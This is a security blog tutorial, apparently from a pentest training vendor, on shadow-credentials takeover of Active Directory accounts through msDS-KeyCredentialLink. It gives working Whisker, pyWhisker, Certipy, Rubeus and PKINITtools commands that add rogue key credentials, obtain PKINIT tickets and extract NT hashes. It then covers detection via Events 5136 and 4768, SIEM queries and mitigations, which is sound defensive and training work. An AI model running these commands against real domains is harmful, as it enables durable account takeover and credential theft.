Shadow Credentials: Take Over AD Accounts with msDS-KeyCredentialLink
Introduction
Shadow credentials are a Key Trust abuse of the Active Directory attribute msDS-KeyCredentialLink. Windows Hello for Business and related Key Trust flows store public key material on a user or computer object so the account can authenticate with Kerberos PKINIT. If you can write that attribute, you can append your own Key Credential. The password never changes, but you still get a TGT as that principal.
That matters on an authorized assessment because password resets, many password-tied MFA prompts, and tooling that only watches for hash theft leave the rogue Key Credential in place. SpecterOps documented the pattern in Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover. BloodHound models the required write as AddKeyCredentialLink (often reached through GenericWrite or other broad write rights on the object).
This post walks the mechanism, prerequisites, Whisker / pyWhisker / Certipy shadow tooling, PKINIT authentication, optional UnPAC-the-hash, and detection centered on Event 5136 and 4768.

What Key Trust and msDS-KeyCredentialLink actually do
Kerberos normally proves identity with a password-derived long-term key (or a keytab). PKINIT lets a client prove identity with a certificate and private key during AS-REQ pre-authentication. In the Key Trust model used by Windows Hello for Business, the public key is stored on the account in msDS-KeyCredentialLink as a multi-valued msDS-KeyCredentialLink / Key Credential blob. Domain controllers that support the feature treat a matching private key as valid pre-authentication material for that principal.

A shadow credentials attack is not "enroll a malicious template on AD CS and hope the CA issues you a cert for someone else." A valid Key Credential is not a self-signed CER pasted via Set-ADUser -Add @{'msDS-KeyCredentialLink'=$cert.RawData}.
That path is a common blog shortcut and is not how Whisker, pyWhisker, or Certipy build a valid Key Credential. The tools generate a key pair, construct the Key Credential structure Windows expects, write it to LDAP, and give you a PFX (or equivalent) for PKINIT.
MITRE ATT&CK maps related behavior closest to T1098 Account Manipulation (adding durable credentials to an existing account). Treat the ATT&CK ID as a hunting label, not as a claim that every shadow credentials engagement looks identical.
How shadow credentials differ from Kerberoasting and hash theft
Attack | What you obtain | Trust model | Password change clears it? |
|---|---|---|---|
NTLM dump / Pass-the-Hash | Account NT hash | Password-derived secret | Yes (after hash rotation) |
Kerberoasting | Encrypted TGS for an SPN; offline crack of the service account password | Service principal long-term key | Yes (after password change and SPN re-kerberoast fails) |
Shadow credentials | Rogue Key Credential on msDS-KeyCredentialLink; PKINIT TGT | Key Trust public key mapping | No. Password reset leaves the Key Credential |
Kerberoasting asks the KDC for a service ticket and attacks the ticket offline. Shadow credentials write authentication material onto the account itself and then use PKINIT. Defenders care because the Key Credential persists, and a password reset does nothing to remove it.
Prerequisites for shadow credentials on a domain
Before tooling, confirm the environment can actually use Key Trust:
Domain functional level: Windows Server 2016 or higher (Key Credential / WHfB Key Trust expectations).
Domain controllers: DCs must support Kerberos PKINIT for certificate-based pre-authentication.
Rights on the target: AddKeyCredentialLink, GenericWrite, or equivalent write on msDS-KeyCredentialLink for the victim user or computer. BloodHound's AddKeyCredentialLink edge is the practical hunt for that path.
Scope: Prefer computer objects or non-privileged users first in a lab. Computer takeover plus RBCD-style follow-ons is a common escalation chain after you prove Key Credential write.
You do not need a broken AD CS template (ESC1) for this specific technique. AD CS may still appear in the same engagement for other ESC paths; do not conflate the two.
Abusing shadow credentials with Whisker, pyWhisker, and Certipy
Assume authorized lab credentials attacker@corp.local already hold GenericWrite on victim (user) or WORKSTATION$ (computer). Replace hosts and names with your RoE targets.
Enumerate write paths (BloodHound / LDAP)
Confirm the edge before you write. In BloodHound, search for paths that end in AddKeyCredentialLink or GenericWrite on Tier 0 users, domain controllers, or high-value workstations. On the wire, review the object's DACL for write on msDS-KeyCredentialLink from the principal you control. Do not skip this step: a failed LDAP write still leaves telemetry, and a successful write without a recovery DeviceID leaves a backdoor you cannot cleanly remove.
# BloodHound: shortest path to AddKeyCredentialLink / GenericWrite on high-value objects
# Or LDAP attribute ACL review for msDS-KeyCredentialLink write
Whisker (Windows / .NET)
Whisker by Elad Shamir implements the SpecterOps Key Credential write:
Whisker.exe add /target:victim /domain:corp.local /dc:dc01.corp.local
Whisker prints the DeviceID of the new Key Credential and exports a PFX. List or clear with:
Whisker.exe list /target:victim /domain:corp.local /dc:dc01.corp.local
Whisker.exe remove /target:victim /domain:corp.local /dc:dc01.corp.local /deviceid:<DeviceID>
pyWhisker (Linux attacker host)
pyWhisker is the Python port used from Kali-style boxes:
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
--dc-ip 10.10.10.10 --target victim --action add
Useful follow-ups:
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
--dc-ip 10.10.10.10 --target victim --action list
python3 pywhisker.py -d corp.local -u attacker -p 'Passw0rd!' \
--dc-ip 10.10.10.10 --target victim --action remove --device-id <DeviceID>
Certipy shadow
Certipy's shadow command automates add + authenticate for many labs:
certipy shadow auto -u 'attacker@corp.local' -p 'Passw0rd!' \
-account victim -dc-ip 10.10.10.10
Or split add and auth when you already have a PFX:
certipy shadow add -u 'attacker@corp.local' -p 'Passw0rd!' \
-account victim -dc-ip 10.10.10.10
certipy auth -pfx victim.pfx -dc-ip 10.10.10.10
Certipy often returns NT hash material after successful PKINIT when UnPAC-the-hash is available. That is the same end state as Rubeus /getcredentials or PKINITtools getnthash.py, not a separate "self-signed cert" trick.
PKINIT authentication and optional UnPAC-the-hash
PKINIT (Public Key Cryptography for Initial Authentication in Kerberos, RFC 4556) lets a client get its first Kerberos ticket using a certificate and private key, such as a smart card or Windows Hello for Business, instead of a password. The client signs its AS-REQ with the private key. The KDC checks the certificate against a trusted CA and maps it to an account. It then sends back the TGT, protecting the session key with a Diffie-Hellman exchange or by encrypting it to the client's public key.
It differs as standard Kerberos proves identity with a key derived from the user's password, while PKINIT replaces only that first step with public-key crypto, and every ticket request after the TGT works the same as usual.
Once the Key Credential exists and you hold the matching PFX, request a TGT with PKINIT.
Rubeus
Rubeus.exe asktgt /user:victim /domain:corp.local /dc:dc01.corp.local \
/certificate:C:\Temp\victim.pfx /password:pfx-password /ptt
To pull the NT hash from the PAC (UnPAC-the-hash) in the same flow:
Rubeus.exe asktgt /user:victim /domain:corp.local /dc:dc01.corp.local \
/certificate:C:\Temp\victim.pfx /password:pfx-password /getcredentials /show
/getcredentials is the operator-facing UnPAC step: you already authenticated as the target; you also recover the NT hash for Pass-the-Hash or further Impacket use.
PKINITtools (Linux)
From PKINITtools:
python3 gettgtpkinit.py corp.local/victim -cert-pfx victim.pfx \
-pfx-pass 'pfx-password' victim.ccache
export KRB5CCNAME=victim.ccache
python3 getnthash.py corp.local/victim -key <AS-REP-session-key-from-gettgtpkinit>
After you have the NT hash, classic lateral movement applies (wmiexec.py, smbexec.py, Pass-the-Hash into RDP where allowed by policy). Clean up the Key Credential with Whisker/pyWhisker remove when the assessment phase ends so you do not leave a permanent backdoor.
Operator notes and common mistakes
Wrong attribute write: Pasting raw X.509 bytes into msDS-KeyCredentialLink with Set-ADUser is not a substitute for Whisker/Certipy. Use the tools that build a proper Key Credential structure.
Confusing ESC abuse with Key Trust: Template ESC paths enroll certificates through AD CS. Shadow credentials write Key Trust material onto the account object.
Missing PKINIT: If DCs reject certificate pre-auth, the Key Credential write may succeed and authentication still fails. Validate DC support before reporting "full takeover."
Noise vs signal: Adding Key Credentials to every writable object floods Event 5136. Prefer high-value targets and document DeviceIDs for clean removal.
Detection: Event 5136 on msDS-KeyCredentialLink and 4768 PKINIT
Directory Service Changes (5136)
Successful shadow credentials writes should produce Security Event 5136 (Directory Service Changes) when auditing is enabled for the attribute. Hunt for msDS-KeyCredentialLink value adds on user and computer objects, especially from principals that are not your IdM / WHfB provisioning service.

Illustrative Security log shape:
Event ID: 5136
Object Type: user (or computer)
Object DN: CN=victim,OU=Users,DC=corp,DC=local
Attribute LDAP Display Name: msDS-KeyCredentialLink
Operation: Value Added
Subject Account Name: attacker
Kerberos TGT with certificate (4768)
After the write, Event 4768 (Kerberos authentication ticket requested) with certificate / PKINIT indicators shows the account authenticating without a password AS-REQ. Correlate 5136 → 4768 within a short window, from an unexpected client IP, for accounts that do not normally use smart card or WHfB.
Event ID: 4768
Account Name: victim
Certificate information present / Pre-Authentication Type indicates PKINIT
Client Address: 10.11.12.50
Event 4738 (user account change) is a weak secondary signal. Prefer 5136 for the attribute itself. Event 4769 (service ticket) alone does not prove shadow credentials; it is normal Kerberos traffic after any TGT.
SIEM intent (Splunk-style)
index=wineventlog EventCode=5136
| search AttributeLDAPDisplayName="msDS-KeyCredentialLink" OR ldapDisplayName="msDS-KeyCredentialLink"
| table _time, SubjectUserName, ObjectDN, OperationType, AttributeValue
index=wineventlog EventCode=4768
| search PreAuthType=15 OR CertificateThumbprint=* OR TicketOptions=*
| table _time, TargetUserName, IpAddress, CertIssuerName, CertSerialNumber
Tune baselines: WHfB enrollment and legitimate Key Trust provisioning will write the same attribute. Alert on writers outside the known service accounts, sudden DeviceID churn, or PKINIT from hosts that never used certificate auth for that user.
Defender / identity analytics
Microsoft Defender for Identity and similar UEBA products raise alerts on anomalous Key Credential modifications. Pair those alerts with your own 5136/4768 correlation so you are not dependent on a single product rule.
Mitigation
ACL hygiene: Remove unnecessary GenericWrite / WriteProperty / "AddKeyCredentialLink" on privileged users and computers. Treat " AddKeyCredentialLink" edges in BloodHound as P1 findings on domain admins, DCs, and Tier 0 computers.
Protected Users / Tier 0: Keep Tier 0 accounts out of paths where mid-tier admins can write Key Credentials.
Audit policy: Enable Directory Service Changes auditing for msDS-KeyCredentialLink and ship 5136 + 4768 to the SIEM with retention long enough for incident response.
Cleanup runbooks: Document how IdM removes stale Key Credentials; red teams should remove DeviceIDs they created.
Do not "just disable AD CS": That may be good hygiene for ESC findings, but it does not remove Key Trust on the account object. Fix DACLs and monitoring for this technique specifically.
Conclusion
Shadow credentials turn a single LDAP write into durable account takeover: append a Key Credential to msDS-KeyCredentialLink, authenticate with PKINIT, optionally UnPAC the NT hash, and keep access after password resets. On engagements, prove the write path with Whisker, pyWhisker, or Certipy shadow, show 5136/4768 evidence for blue teams, and remove your DeviceID when finished.
References
Register for instructor-led online courses today! https://www.darkrelay.com/courses
Check out our self-paced learning paths! https://www.darkrelay.com/learning-paths
Explore our bundled Pricing & Plans for cost-effective options! Buy a course subscription to learn more—hands-on labs and expert-led training included. https://www.darkrelay.com/plans-pricing
Contact us for custom pentesting needs at: info@darkrelay.com or WhatsApp.



Comments